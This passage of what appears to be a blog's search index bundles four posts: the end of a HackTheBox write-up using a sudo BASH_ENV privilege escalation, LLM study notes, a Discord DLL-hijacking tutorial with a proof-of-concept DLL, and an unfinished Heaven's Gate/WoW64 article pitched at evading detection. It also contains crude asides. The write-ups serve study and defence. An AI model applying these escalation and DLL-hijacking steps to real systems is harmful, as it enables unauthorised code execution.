decrypt the file. You can drop them in your home of course, but I prefer to use the --homedir to specify where gpg should look for the keys to decrypt the file.\nWith that we get the password of the hish user, let\u0026rsquo;s use that to login and let\u0026rsquo;s also see what we can run as sudo, since we already have the password.\nWell, the first thing i can see is the env_keep.\nBy default, sudo clears most of your environment variables to make it harder for you to elevate your privileges (e.g. LDPRELOAD,PATH), so when you run commands as root, _sudo will strip all of those environment variables when executing the command. This is default, but you can change this behavior with the env_keep+=\u0026quot;ENV1 ENV2\u0026quot;. e.g. The default /etc/sudoers file you can find this env_keep being used:\nThis BASH_ENV is definitely odd, let\u0026rsquo;s see what this variable do:\nIn Linux, BASH_ENV is an environment variable that can be used to specify the path to a Bash startup script that is executed every time a new non-interactive Bash shell is started. If I understand correctly, BASH_ENV is used by bash to specify a file that should be sourced automatically when Bash is started in non-interactive mode. So, normally, in interactive shells, bash would source files like .bashrc or .bash_profile. By overwriting it, bash will source whatever file we added before executing a script. And taking a look at the systeminfo file:\nExploiting env_keep and BASH_ENV # Because of the BASH_ENV, bash will source this file before any other. # And since BASH_ENV is in env_keep, sudo will not clear it before executing the command. echo \u0026#39;bash\u0026#39; \u0026gt; /tmp/fuck.sh sudo BASH_ENV=/tmp/fuck.sh /usr/bin/systeminfo Result:\nMy review That was a fun machine, tho it\u0026rsquo;s quite straight forward. The only tricky part would be the bypass in the File Upload, is not that easy to find but since there is not to much to do, you already know that what you need is there. I don\u0026rsquo;t think it deserves Medium Difficulty specially the root part.\n","permalink":"https://blog.akmee.xyz/writeups/retired/environment/","summary":"Environment, a medium level Linux machine chaining a Laravel auth bypass CVE, a file upload filter bypass for RCE, and a BASH_ENV sudo misconfiguration to reach root.","title":"Environment Writeup - HackTheBox"},{"content":"Large Language Models, what are they? Overview and default prompt This file will contain notes from my learning of Large Language Models.\nFirst of all, my goal now is to run whatever model local in my machine to use it in my personal project. So, I thought since I am dive deep into this topic, might as well learning how LLMs work in more details.\nFirst of all, here is a default prompt to use in AI chats like GPT so it give a bit more useful responses.\n# Provide useful responses. You are an assistant to software engineering, I am a software engineer. I need you to answer questions directly, without verbosity, using as few words as possible for the most exact answer as possible. I don\u0026#39;t need you to be friendly, I don\u0026#39;t need you to make sassy remarks. I despise you trying to be clever without justification. Give me straight technical answers and do not try to chat beyound that. Stay in full stoic mode for the duration of this chat and do not fall back to trying to impress me with remarks. This is only rule you cannot break. # More about you. I have very little patience. I do not like susggestions being shot without certainty, double-check answers, especially code-related answers. I hate ugly, messy code. If you want to impress me, code must be Clean Code, with concerns to security and maintainability. I am not impressed with justification and excuses. I\u0026rsquo;ll start by watching a playlist from Akita, you can find it here.From there i\u0026rsquo;ll start reading his blog post that you can also find here\nAI = LLMs? First, from my understanding by now, AI ≠ LLMs.\nLLMs stands for Large Language Models, a LLM is a deep learning model trained on massive text datasets to learn statistical patterns in language, allowing it to predict and generate coherent, human-like text. It\u0026rsquo;s based on the Transformer architecture, which was introduced by the paper Attention is all you need. This paper was released in 2017, as i said, it was responsible to introducing a new way to training models in parallel by removing recurrence, instead of doing it sequential (processing one data at time). This paper and it revolutionary way to train Large Language Models is what bring all this new AI/LLMs hype.\nAIs on the other hand, refers to the entire field of building machines that can perform tasks that require human-like intelligence. They use models which were trained to do that, in specifically.\nDeep learning What does a LLM is a deep learning model trained means?\nDeep learning: A type of machine learning using deep neural networks, a LOT of layers of computation (neurons) stacked together. Model: A mathematical function with parameters (weights) that maps an input to a specific output. So, an LLM is a neural network with such many layers all designed to process and generate text. Neural networks are used to train a model so that it gets better at a specific task, in this case, predicting the next word in a sentence.\nTraining a model works, in general (i\u0026rsquo;ll try to get into more details later) by:\nGetting an input: The sky is ___. Defining a target, which comes from the petabytes of existent data from the internet, in this case the target would be the word blue. Model try to guess the next word, let\u0026rsquo;s say it guessed the word gray (wrong). We are going to compute the loss using algorithms to try to measure how far gray is from the right target which was blue. Based on the computation above, we are going to Adjust the weights using gradient descent. Repeat this process until the model guess the right word. Do it billions of times on billions of sentences like this and the model will learn that The sky is blue and not gray.\nNow, more about the paper that introduced Transformers. In earlier architectures like RNNs, LSTMs, N-gram models, GRU and so on, data was processed sequentially, one token at a time, that was because each output depends on the previous hidden state, what do i mean by that? Let\u0026rsquo;s start by understanding the most basic neural network architecture, often called feed-forward neural network or MLP.\nNeural Networks Neural networks are \u0026ldquo;simple\u0026rdquo; the complicate thing is actually neurons.\nAt its core, a neural network is just a function, a composition of simpler functions, which are called neurons.\nIf you give to a neural network an input $x$ it applies some math and gives you an output $y$:\nNeural Network: $$y = f(x)$$Neurons Neuron: $$ y = o(w.x + b)$$ $x$ : input vector, which can be a word embedding, pixel values, etc. $w$ : weights vector. $b$ : bias. $o$ : activation function.\nx is a vector, typically an embedding representing a single token or a short span of tokens. Petabytes of raw text are processed and tokenized during training to create the x\u0026rsquo;s, but each training step only sees tiny slices of that data. When the model is already done and ready to be used to make predictions, x is created from your prompt via tokenization and embedding lookup. Something like:\n$$text (raw)⇒tokens⇒vectors x$$ x can also be called as tensors, what are tensors?\nTensors are the matrices and, matrices are the fundamental data structure in Deep Learning. So, everything inside a Neural Network is represented by a tensor.\nTensor Rank Description Example 0 Scalar 5 or π 1 Vector [3.2, 5.1, -2.0] 2 Matrix [[1, 2], [3, 4]] 3 3D Tensor Stack of matrices (e.g., RGB image) N N-D Tensor General case (used in deep learning) x kinda looks like it can be two different things when used in training or inference, the key difference is: Training: $x$ is sampled from labeled data, and is used to adjust weights.\nInference: $x$ comes from user input or earlier model output, and is used to produce new predictions.\nweights are the core of the learning, they are the values that get adjusted over and over again to reduce the prediction error. Training a model is adjusting the weights over and over again for an input $x$ until the neuron is able to spit the right choice based on probability. That\u0026rsquo;s also why we don\u0026rsquo;t need the petabytes of the training data just to run a model, the training data is no more needed into the function. By keeping only the adjusted $w$ and $b$ from the training, the formula will be able to spit almost every time the right $y$ for the input $x$.\nactivation function, is a computation added later to break the linearity in the result of $(w.x + b)$. By breaking linearity, our model would be able to now learn non-linear patterns, which are essentially what text and all humans-based content is all about.\nBias is a learnable offset that gives neurons the ability to shift their activation threshold. While weights determine how much each input influences the neuron\u0026rsquo;s output, the bias gives the model the flexibility to shift the output independently of those inputs. In the context of LLMs, bias plays a key role especially in the output layer, where it can adjust the model\u0026rsquo;s tendency toward certain words even if the input is ambiguous or weak, for example, helping to favor common grammatical structures or frequently used tokens like \u0026ldquo;the\u0026rdquo; or \u0026ldquo;is\u0026rdquo; because the optimizer adjusted its values to reduce prediction error. In real models:\nEach neuron has its own bias Each layer contains thousands of neurons Bias is actually a vector, like: $$b = [b_1, b_2, b_3, b_4, ..., b_n]$$ Where $n$ is the number of neurons (e.g., 3072 in a transformer feedforward block) Each bias value $b$​ shifts the output of its corresponding neuron in the layer.\nTogether, this bias vector shifts the entire space — not just one scalar.\nI know, it\u0026rsquo;s a though concept, I don\u0026rsquo;t understanding it myself, let\u0026rsquo;s continue with examples.\nLet\u0026rsquo;s say you\u0026rsquo;re processing the phrase:\n_The sky is ____\nYou\u0026rsquo;ve reached the token is, and the model needs to predict the next word.\nIt computes first: $$logits = W_{out} . h + b_{out}$$ $h$ = hidden state (what the model \u0026ldquo;thinks\u0026rdquo; at this exact step). $w_{out}$ = output projection matrix (maps to vocab size). $b_{out} \\in R|^{V}|$ = one bias per vocabulary word.\nLet\u0026rsquo;s say the vocabulary has 50,000 words. So each possible next word (e.g. \u0026ldquo;blue\u0026rdquo;, \u0026ldquo;gray\u0026rdquo;, \u0026ldquo;dog\u0026rdquo;, \u0026ldquo;flying\u0026rdquo;) gets: $$score_i=W_i.h+b_i$$ Even if two words (\u0026ldquo;blue\u0026rdquo; and \u0026ldquo;gray\u0026rdquo;) have similar dot products with $h$, the bias term $b$​ can tip the scale and make \u0026ldquo;blue\u0026rdquo; more likely if it’s more common in that context — learned from training.\nTo sumarize, a single bias doesn\u0026rsquo;t do much. But in a real LLM, biases are massive vectors, present in every layer and in the output. Together, they shift entire vector spaces, allowing the network to resolve ambiguities and favor fluent grammar across billions of tokens.\nNeuron output:\n$$Output = ϕ(∑_{i=1}^{n}​w_i.​x_i​+b)$$ From Taelin\u0026rsquo;s post on Twitter: redes neurais são apenas aproximadores de função, o objetivo delas é convergir para uma função que generaliza entradas→saídas. NNs são apenas funções [ℝ] → ℝ. Dentro de NNs, existem neurônios, que são, também, funções [ℝ] → ℝ. a gente compõe neurônios pra formar redes neurais, e redes neurais pra formar arquiteturas complexas, como o GPTs.\nSummarizing During training, the model is in learning mode. It receives a huge number of input sequences $x$, which are transformed into vectors via tokenization and embedding. Along with known target of outputs (Then we can see when the model guess wrong or right). The model computes the prediction based on its current parameters (weights and biases), compares this prediction with the true label, computes the loss, and then adjusts its parameters via backpropagation to reduce that loss. This adjustment is what enables the model to learn statistical patterns in the language. Once training is complete, the model is now in inference mode. In this mode, the model is no longer adjusting any weights or biases, those now are frozen. Instead, it takes new input sequences from your prompt, tokenizes them, looks up their embeddings to produce the $x$, and uses the neural network layers to compute a prediction. It keeps doing it like a feature of suggestion in your phone keyboard to answer whatever you asked it based on prediction using the weights and bias which were adjusted from the training.\nNext topics that i need to cover: gpu != turing complete loss function gradient descent vanishing gradient quantizaçao\n","permalink":"https://blog.akmee.xyz/articles/llm/","summary":"Personal notes on how LLMs actually work under the hood — transformers, neurons, weights, biases, training vs inference, and everything in between.","title":"A Post About LLMs"},{"content":"Hijacking a DLL from Discord to achieve Command Execution Introduction I wrote this post a long time ago, I didn't bother to check any information/writing so don't take this post to seriously. Also there is a chance that Discord already fixed the stupid way they search for DLLs, in that case the post is outdated and not applicable anymore. Though i don't think this happened because at the time i wrote this, the flaw as already known but Discord deliberated choose to not fix it.\nI saw @hackingnaweb creating an fully undetectable malware hijacking a dll that discord uses and it looks quite interesting. I still don\u0026rsquo;t now with I\u0026rsquo;m going too deep in this because i have almost a hundred projects that i started and just forget it for some time for some reason.\nWhat is a DLL? So at the beginning I\u0026rsquo;m going to explain what are dlls.\nDll stands for Dynamic linked library, they are code/executable binaries like .exes(both have PE signature) but dlls are made to be import/export data, code, functions or whatever, so they cannot run directly, they also can be shared and reused by multiple programs at the same time. When you are compiling an dll, the compiler(at least in my case) will create two files: .lib and .dll.\n~ lib files are static libraries, so when you import an function from an .lib file, the compiler will link that function inside your binary at compile time.\n~ dll are dynamic(as the name says), so when you import an function from an dll, the compiler will NOT load it into your binary but instead it will import it at execution time.\nCreating and Loading a simple DLL Now I\u0026rsquo;m gonna create two dlls, one without an entry point(like a main function) that just print an message and another with an entry point. Let\u0026rsquo;s start.\nI\u0026rsquo;m developing my thing in Linux and using an cross-compiler to compile for Windows because development in Windows suck asf.\nhelloDll.cpp:\nTo compile(in my case) you will need an cross compiler, install one(mingw64) using your favorite package manager and compile your helloDll.cpp\nCompiling: Now we have this helloDLL.o file, the .o extension means that it\u0026rsquo;s an object file(bytecode). The next step is to link the file\nLinking: By now, dll is done but we also need the executable that will use this, let\u0026rsquo;s create it.\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;windows.h\u0026gt; int main() { // define an handle and load the dll hellodll whithout additional loadings // and with default behavior HMODULE const HelloDll = LoadLibraryExW(L\u0026#34;hello.dll\u0026#34;,nullptr,0); // error checking if(HelloDll == NULL) { puts(\u0026#34;Couldn\u0026#39;t find the dll. Exiting...\u0026#34;); return 1; } // this line uses a typedef statement to create a new type alias named GetGreetingType using GetGreetingType = char const* (__cdecl*)(); // get the address function and cast into the typedef defined before. GetGreetingType const GetGreeting = reinterpret_cast\u0026lt;GetGreetingType\u0026gt;(GetProcAddress(HelloDll,\u0026#34;GetGreeting\u0026#34;)); // call the function puts(GetGreeting()); // unload the library and return FreeLibrary(HelloDll); return 0; } So this code is responsible to load the hello.dll using functions from \u0026lt;windows.h\u0026gt; and call the function GetGreeting. I\u0026rsquo;m not going to very deep in EVERY detail that is going in this code, win32api can be very ugly sometimes. But I\u0026rsquo;m gonna talk about the LoadLibrary. When you specify the dll without giving the function the Absolute Path, it will search in this order.\nThere are known Dll\u0026rsquo;s that are exception such as kernel32.dll, ntdll.dll and so on. When some executable is calling one of these, the loader know exactly where find them. And an dll, which is a dependency/lib from an binary, can also have dependencies of another binaries. Our hello.dll have dependencies of the kernel32.dll because of the functions that we are using.\nDefinition: An implicit dependency exists when a DLL relies on another resource or library without explicitly declaring it. The DLL infers this dependency by referencing the resource or library name within its code. How it works: The operating system or loader typically tries to resolve these dependencies automatically. When the DLL code references another resource (like a function or variable), the system searches for a definition that matches the reference and links them together. Example: Imagine a DLL (A) has code that calls a function named DoSomething without mentioning any specific library. If there\u0026#39;s another DLL (B) that exports a function named DoSomething, the loader might implicitly assume A depends on B and link them together. Compiling: So now we are ready to test our hello.dll: :) First dll created, it\u0026rsquo;s your turn to get more used to it and create your own dll with an entry point.\nDiscord Dll Hijacking Now finally I\u0026rsquo;m going to hijacking that discord dll lol.\nSo, first of all let\u0026rsquo;s use procmon to see what discord tries to load when it starts.\nYou may be scared with this bunch of things, procmon is like a task manager but a way better, it\u0026rsquo;s monitoring all things that all process that are/was running are/was doing. Let\u0026rsquo;s add some filters to find what we are looking for.\nThen press Ctrl+F to open the Filter Tab and add an filter to include only the Process Name Discord.exe. (Don\u0026rsquo;t forget to run the discord after that) Still will be displayed a lot of useless stuff in our case, so I recommend add this other filters. That will display only dlls that discord have tried to find but couldn\u0026rsquo;t for some reason. As in my sources from this \u0026ldquo;project\u0026rdquo; I will use the d3d12.dll as well. So you probably remember what an program do when it tries to load an dll, in this case I\u0026rsquo;ll create the dll d3d12.dll that is missing inside of the discord executable folder and hope that when I start discord it gets executed.\nI\u0026rsquo;ll provide the code but I\u0026rsquo;m just displaying an message box inside the main function to see if my code is running.\n#include \u0026lt;windows.h\u0026gt; extern \u0026#34;C\u0026#34; BOOL WINAPI DllMain(HINSTANCE hModule, DWORD ul_reason_for_call,LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox(NULL, TEXT(\u0026#34;DLL Hijacking verified Process Attach!\u0026#34;), TEXT(\u0026#34;DLL Hijacking BVS\u0026#34;), MB_ICONERROR | MB_OK); case DLL_THREAD_ATTACH: MessageBox(NULL, TEXT(\u0026#34;DLL Hijacking verified Thread Attach\u0026#34;), TEXT(\u0026#34;DLL Hijacking BVS\u0026#34;), MB_ICONERROR | MB_OK); case DLL_THREAD_DETACH: MessageBox(NULL, TEXT(\u0026#34;DLL Hijacking verified Thread Detach\u0026#34;), TEXT(\u0026#34;DLL Hijack BVS\u0026#34;), MB_ICONERROR | MB_OK); case DLL_PROCESS_DETACH: MessageBox(NULL, TEXT(\u0026#34;DLL Hijacking verified Proces Detach\u0026#34;), TEXT(\u0026#34;DLL Hijack BVS\u0026#34;), MB_ICONERROR | MB_OK); break; } return TRUE; } And there is, Discord isn\u0026rsquo;t crashing and our code is running :)\nSources MitchHS, GitHub Discord DLL Hijacking Bob Van, Infosec DLL Hijacking Persistence CppCon Talk about DLLs https://s1gh.sh/discord-dll-hijacking-persistence/ https://www.youtube.com/watch?v=3eROsG_WNpE\n","permalink":"https://blog.akmee.xyz/articles/discord-dll/","summary":"How Discord\u0026rsquo;s DLL search order can be abused to load attacker-controlled code. Covers DLL basics, cross-compiling from Linux with mingw64, procmon analysis, and dropping a rogue d3d12.dll.","title":"Discord DLL Hijacking"},{"content":"Heaven\u0026rsquo;s Gate, what\u0026rsquo;s the cool name all about? Introduction The following post is not finished yet!!! I\u0026rsquo;m posting it anyway because i don\u0026rsquo;t want it to root in a random directory waiting for get finished. Anyway, feel free to read and contact me if you have any question about this unfinished job. Hello, my name is David, but you can also call me Ak3m4, i guess. Today, I will explain to you what is Heaven\u0026rsquo;s Gate and how this technique is utilized in malware. Since we are going to dive very deep on how this technique works, you and me will need to read some Assembly language and have a basic understanding of Windows internals. However, if you\u0026rsquo;re not very familiar with assembly or how Windows operates under the hood, don\u0026rsquo;t worry! I will do my best to make it easier for you to understand.\nIf I can\u0026rsquo;t make it a piece of cake for you to understand and you still have questions after reading, please fell free to contact me through one of my socials somewhere in this page (hope you can find them) and again, I will do my best to answer yours questions.\nHere is how this article will be structured:\nWhat is Heaven\u0026rsquo;s Gate and how it is used on Malware. Introduction Terms Heaven\u0026rsquo;s Gate Overview A little bit of history! WoW64 introduction Going deeper in WoW64 The birth of a process under WoW64 Reversing System Calls Resume Heaven\u0026rsquo;s Gate in action Terms Throughout this article I’ll be using some terms I’d like to explain beforehand:\nntdll or ntdll.dll - these will be always referring to the native 64-bit ntdll.dll, until said otherwise or until the context wouldn’t indicate otherwise. ntdll32 or ntdll32.dll - to make an easy distinction between native and WoW64 ntdll.dll, any WoW64 ntdll.dll will be refered with the *32 suffix. module!FunctionName - refers to a symbol FunctionName within the module. Heaven\u0026rsquo;s Gate Overview So let\u0026rsquo;s start with the simplest question, What is Heaven\u0026rsquo;s Gate? In short, Heaven\u0026rsquo;s Gate is a clever way for a 32-bit code to temporarily switch to a 64-bit mode. Okay, that\u0026rsquo;s relative simple, I get it, but why should i use it? Well, i guess the only use is to evade detection by security software and you will understand soon why i think that! So if you are a malware developer you may have a new technique in your arsenal after reading this.\nThe Heaven\u0026rsquo;s Gate technique will make your executable change its architecture to 64-bit, execute the necessary 64-bit code, and then revert back to 32-bit (if you want to) once it\u0026rsquo;s finished. This transition between architectures is complex, and due to it complexity, most tools used for analysing malware\u0026ndash;such as debuggers, process monitors and automatic analysis tools like sandboxes\u0026ndash;struggle to handle it effectively, so they end up crashing or producing a inaccurate reports.\nTo fully understand the Heave\u0026rsquo;s Gate, we need to first understand how Windows handle different architectures in the same Operating System, which is what makes the technique possible. We need also to understand the WoW64 software.\nBut first, A little bit of history for context!\nHistory of Heaven\u0026rsquo;s Gate Heaven\u0026rsquo;s Gate was first described in June 2009 on a popular VX website, by a guy named Roy G. Biv. I couldn\u0026rsquo;t find much about the guy and the link to his article unfortunately is dead. The only thing available from his article is the abstract, which says:\nOn 64-bit platform, there is only one ntoskrnl.exe, and it is 64-bit code. It also uses a different calling convention (registers, so called \u0026ldquo;fastcall\u0026rdquo;) compared to 32-bit code (stack, so called \u0026ldquo;stdcall\u0026rdquo;, old name was \u0026ldquo;pascal\u0026rdquo;). So how can 32-bit code run on 64-bit platform? There is \u0026ldquo;thunking\u0026rdquo; layer in wow64cpu.dll, which saves 32-bit state, converts parameters to 64-bit form, then runs \u0026ldquo;Wow64SystemServiceEx\u0026rdquo; in wow64.dll. But 64-bit registers are visible only in 64-bit mode, so how does wow64cpu.dll work? Here is what I call Heaven\u0026rsquo;s Gate, but first we must go back to ntdll.dll.\nAfter that, in August 2011, the first malware to make use of this technique appeared, you can find its report here. Huh, this technique is almost as old as me and somehow is still being used today.\nThis technique emerged with the introduction of the 64-bit computing. A 64-bit operating system should support 32-bit applications, considering that many legacy systems, hardware, and software are based on the 32-bit architecture. To fix this issue, Windows operating system includes the Windows-on-Windows 64-bit subsystem (WoW64) that permits the execution of 32-bit applications on 64-bit platforms. Now we are getting into the important part of this article, the software that makes the Heaven\u0026rsquo;s Gate possible!\nWindows on Windows64 Introduction WoW64 was originally a research project for running x86 code in old alpha and MIPS processors in Windows NT 3.51 (Around 1995). When Windows XP came out as 64-bit system, WoW64 was included in the OS to support x86 32-bit applications. As for now, WoW64 has been involving and can support also running ARM32 applications and x86 applications on ARM64 architecture. So, in short, in a 64-bit system, all applications that are designed for 32-bit WILL run under the WoW64, which will \u0026ldquo;translate\u0026rdquo; the code from 32-bits to 64-bit and magically make it work.\nYes, you read it correctly, a bunch of mini mages that live inside your motherboard casting magic all day long is what make it possible, did you really believe rocks are meant to think? I\u0026rsquo;m just kidding, let\u0026rsquo;s go deeper in WoW64 software by seeing which DLLs are responsible for handling this transition.\nWow64.dll: Implements the WoW64 core in user mode. Creates the thin software layer that acts as a kind of intermediary kernel for 32-bit applications and starts the simulation. Handles CPU context state changes and the thunks for the kernel image (ntoskrnl.exe) entry point functions. It also implements file-system redirection and registry redirection.\nWow64win.dll: Implements thunking (conversion) for GUI system calls exported by Win32k.sys. Both Wow64win.dll and Wow64.dll include thunking code, which converts a calling convention from an architecture to another one.\nSome other DLLs are architecture-specific and are used to directly translate code that belongs to different architectures. Below are the DLLs responsible for emulating the machine code.\nWow64cpu.dll: Exclusive for x64, implements the CPU simulator for running x86 32-bit code in AMD64 operating systems and provides processor architecture-specific support for switching CPU mode from 32-bit to 64-bit and vice versa.\nWowarmhw.dll: Exclusive for ARM64, implements the CPU simulator for running ARM32 applications on ARM64 systems. It represents the ARM64 equivalent of the Wow64cpu.dll used in x86 systems.\nXtajit.dll: Exclusive for ARM64, implements the CPU emulator for running x86 32-bit applications on ARM64 systems. Includes a full x86 emulator, a jitter (code compiler), and the communication protocol between the jitter and the XTA cache server. The jitter can create compilation blocks including ARM64 code translated from the x86 image. Those blocks are stored in a local cache.\nIA32Exec.bin: Exclusive for Intel Itanium, contains the x86 software emulator.\nHere is a image from the book Windows Internals Part 2 that can help you understand the use of each DLL,\nThe XTA service present in the image is believed to handle translation caching or optimization for applications that require a specific compatibility layer to function efficiently, particularly in environments that involve emulation or architecture bridging (like running 32-bit apps on 64-bit systems), although i couldn\u0026rsquo;t find much about this service.\nNote: Older Windows versions designed to run in Itanium machines included a full x86 emulator integrated in the WoW64 layer called Wowia32x.dll. I decided to no include the DLL above because the Itanium architecture was officially discontinued in January 2019\nThese DLLs, along with the 64-bit version of the Ntdll.dll are the only 64-bit binaries that can be loaded into a 32-bit process. That\u0026rsquo;s because, in fact, on Windows x64, the first line of code to execute in any process is always the 64-bit version of the Ntdll.dll, which will take care of the initialization of the process in user-mode, by now, as a 64-bit process. This applies for all architectures - x86, x64 or ARM64. Only after this, WoW64 takes over loading the x86 of the Ntdll.dll (or the CHPE version, if enabled) which will take care of the initialization of the process, now as 32-bit process, which will start after a far jump changing the code segment. The 64-bit mode is never entered again, except when the process (32-bit) attempts to make a system call. When a 32-bit application attempts to make a system call, instead of directly using the ntdll32.dll to perform a sysenter, it actually executes a series of instructions to jump (the far jump mentioned) back into 64-bit mode. The system call is then handled there, in the 64-bit mode. Who did this? You already know, right?\nThe answer is: WoW64.\nRead this you fuycking moron\nReversing system calls In this section I\u0026rsquo;ll go through a brief overview what are system calls. After that, once you\u0026rsquo;re a bit more familiar with these terms we will create a simple program and debug it to see everything in action, how system calls are made, where the transition in the WoW64 appears and so on.\nAbout the kernel, here is overview of what is the kernel from wikipedia. Understanding what is the kernel will help you understand the following content of the article.\nA kernel is a computer program at the core of a computer\u0026rsquo;s operating system that always has complete control over everything in the system. The kernel is also responsible for preventing and mitigating conflicts between different processes. It is the portion of the operating system code that is always resident in memory and facilitates interactions between hardware and software components. A full kernel controls all hardware resources (e.g. I/O, memory, cryptography) via device drivers, arbitrates conflicts between processes concerning such resources, and optimizes the utilization of common resources e.g. CPU \u0026amp; cache usage, file systems, and network sockets. On most systems, the kernel is one of the first programs loaded on startup (after the bootloader). It handles the rest of startup as well as memory, peripherals, and input/output (I/O) requests from software, translating them into data-processing instructions for the central processing unit.\nThe critical code of the kernel is usually loaded into a separate area of memory, which is protected from access by application software or other less critical parts of the operating system. The kernel performs its tasks, such as running processes, managing hardware devices such as the hard disk, and handling interrupts, in this protected kernel space. In contrast, application programs such as browsers, word processors, or audio or video players use a separate area of memory, user space. This separation prevents user data and kernel data from interfering with each other and causing instability and slowness, as well as preventing malfunctioning applications from affecting other applications or crashing the entire operating system. Even in systems where the kernel is included in application address spaces, memory protection is used to prevent unauthorized applications from modifying the kernel.\nSystem calls, roughly speaking, are an API provided by the operating system that allows user-mode applications to request hardware-level or privileged operations, such as reading or writing files, allocating memory, device communication and so on, provided by kernel. These operations are execute by the kernel after the transitioning the CPU from user mode to kernel mode, which provide a more secure, stable and efficient environment. If you want to know more about CPU rings, kernel and user mode, please take a look in this article from JC Serrano.\nTo make it clear as crystal, i made two simple programs with identical code but one key difference, one is compiled as 32-bit, while the other, is compiled as 64-bit :D.\nSo, let\u0026rsquo;s see how these two programs behave and spot its differences.\nThe code is responsible to make a attempt to CreateFile and WriteFile, which if everything works as expected, will create a file named example.txt containing the text Hello, syscall debugging!.\n#include \u0026lt;windows.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; int main() { // File name LPCSTR fileName = \u0026#34;example.txt\u0026#34;; // Create or open a file HANDLE hFile = CreateFile( fileName, // File name GENERIC_WRITE, // Desired access 0, // Share mode NULL, // Security attributes CREATE_ALWAYS, // Creation disposition FILE_ATTRIBUTE_NORMAL, // Flags and attributes NULL // Template file handle ); // Check if the file was created successfully if (hFile == INVALID_HANDLE_VALUE) { printf(\u0026#34;Failed to create file. Error: %lu\\n\u0026#34;, GetLastError()); return 1; } printf(\u0026#34;File created successfully.\\n\u0026#34;); // Write some data to the file const char *data = \u0026#34;Hello, syscall debugging!\u0026#34;; DWORD bytesWritten; BOOL success = WriteFile(hFile, data, strlen(data), \u0026amp;bytesWritten, NULL); if (!success) { printf(\u0026#34;Failed to write to file. Error: %lu\\n\u0026#34;, GetLastError()); CloseHandle(hFile); return 1; } printf(\u0026#34;Data written to file: %s\\n\u0026#34;, data); // Close the file handle CloseHandle(hFile); printf(\u0026#34;File handle closed.\\n\u0026#34;); return 0; } And after cross compiling it from my Linux to Windows using mingw tools, we are going to debug these two programs. Why cross compiling? Because i do not have that much disk space to download Visual Studio in my VM and cannot make any command line compiler to work on Windows without giving me three hours of headache because of errors :P.\nSo, let\u0026rsquo;s start. We are going to start analyzing the 64-bit program and see what actually happens when a system call is made. First step is to start the x64dbg or a debugger of your preference and/or IDA or other decompilers.\nAfter loaded the binary in the debugger, you\u0026rsquo;ll see that we are, in fact, in the ntdll.dll. Once we let the ntdll.dll take care of the initialization of our process which we call the Birth of a process, we will stop in our binary. I will not cover The birth of a process in this article, since it\u0026rsquo;s quite complex and is a topic that is out of my expertise.\nSince we already know which system calls we are using, we can easily put a breakpoint at the kernel32.dll!CreateFileA function by going to Symbols tab -\u0026gt; Selecting the desired dll -\u0026gt; Search text box -\u0026gt; Right Click and Toggle Breakpoint.\nGo back to the CPU tab and press F9 multiple times until we arrive at our destination at the kernel32.dll, the dll name will appear at the debugger\u0026rsquo;s tab name and you should see the function name in your assembly code. So, what happened? The call to CreateFileA inside our binary lead us here, the first step of what is going to happen when we make a system call from a 64-bit process.\nF9 again and you will see that we are no more in the kernel32.dll and the jump lead us to kernelbase.dll\nThe decompiled code from the assembly above look like this:\nAs you can see, kernelbase.dll will convert the ANSI string used for the file name to Unicode, since Windows Kernel operates using this type, set some values and flags to DestinationString and then call kernelbase.dll!CreateFileInternal.\nkernelbase.dll!CreateFileInternal will have even more code that will probably take care of parameter validation, errors handling in case it fails, path handling, set the right options and flags and make sure that the call to ntdll.dll!NtCreateFile which will call the kernel is valid, part of the code where the function call is make is available below.\nAnd finally ntdll.dll, our last destination. Will make the system call to the kernel to create one file.\nAnd that\u0026rsquo;s it, a system call made from a 64-bit process is simple, right? We started at:\nexample64!main -\u0026gt; kernel32.dll!CreateFileA -\u0026gt; kernelbase.dll!CreateFileA -\u0026gt; kernelbase.dll!CreateFileInternal -\u0026gt; ntdll.dll!NtCreateFile -\u0026gt; syscall to ntoskrnl.exe\nNow, we are going to analyze the 32-bit binary and try to spot what is difference between a 64-bit process attempting to make a system call and a 32-bit one.\nSo again, let\u0026rsquo;s run our binary inside a debugger to see what is actually happening until we reach the system call. The Birth of a 32-bit process is not that simple as a 64-bit one and although this article aims to explain about WoW64, this is because of the nature of the Heaven\u0026rsquo;s Gate technique, the birth of a process under the WoW64 is not really necessary in this one of the topics i am not willing to cover here because the chances of me making mistakes are quite high. If you are interested, i really recommend you to check out wbenny\u0026rsquo;s blog.\nSo there is one of the differences, take a look and see if you can find it. Yes, you are right! The path is different, but why? WoW64 transparently redirects 32-bit applications to the appropriate paths when a 32-bit process is requesting a resource from C:\\Windows\\System32, which will be redirect to C:\\Windows\\SysWOW64\\. The same is true for C:Program Files which will be redirect to C:\\Program Files (x86). There are exceptions to this like the system directories C:\\Windows\\System32\\drivers and C:\\Windows\\System32\\spool. The redirection is the default behavior of any 32-bit process that is requesting those directories unless the function Kernel32.dll!WoW64DisableWow64FsRedirection() is used.\nThe same is true for the Windows Registry. The Registry redirection works similarly to file system redirection. When 32-bit applications access certain registry keys, Windows redirects them to specific WOW64 nodes.\nMain registry redirections:\nHKEY_LOCAL_MACHINE\\Software -\u0026gt; HKEY_LOCAL_MACHINE\\Software\\Wow6432Node HKEY_CLASSES_ROOT\\CLSID → HKEY_CLASSES_ROOT\\Wow6432Node\\CLSID Like the directories redirection, there are exceptions:\nHKEY_CURRENT_USER\\Software\\Classes\\CLSID HKEY_LOCAL_MACHINE\\Software\\Classes\\CLSID HKEY_USERS So now we have the 32-bit version of the KernelBase.dll, Kernel32.dll and ntdll.dll. Let\u0026rsquo;s see how they differ from the 64-bit sisters.\nSo here we have our main function, the code responsible to pass arguments on the stack, move the address of the CreateFileA to eax register and then call it.\nThe call instruction will lead us to the 32-bit kernel32.dll!CreateFileA, which will have only one instruction:\nThis jump will lead us to kernelbase.dll!CreateFileA, this piece of code inside the 32-bit version of the kernelbase.dll is the same as the 64-bit, it will convert the arguments and then, the second call instruction will lead us to the Unicode version of the CreateFile, which is the Kernelbase.dll!CreateFileW.\nKernelbase.dll!CreateFileW will set variables based on the arguments and then it will call CreateFileInternal!CreateFileInternal.\nkernelbase.dll!CreateFileInternal is big and in theory it should do the same thing as its 64-bit version (Errors handling, checking arguments and so on), then at some point it will attempt to call ntdll32.dll!NtCreateFile.\nWhich if all that i said below is correct, it should not attempt to make the system call and yes call a function that will deal with the transition to the 64-bit mode through WoW64.\nLet\u0026rsquo;s take a look:\nntdll32.dll!Wow64SystemServiceCall will have a single instruction that will jump 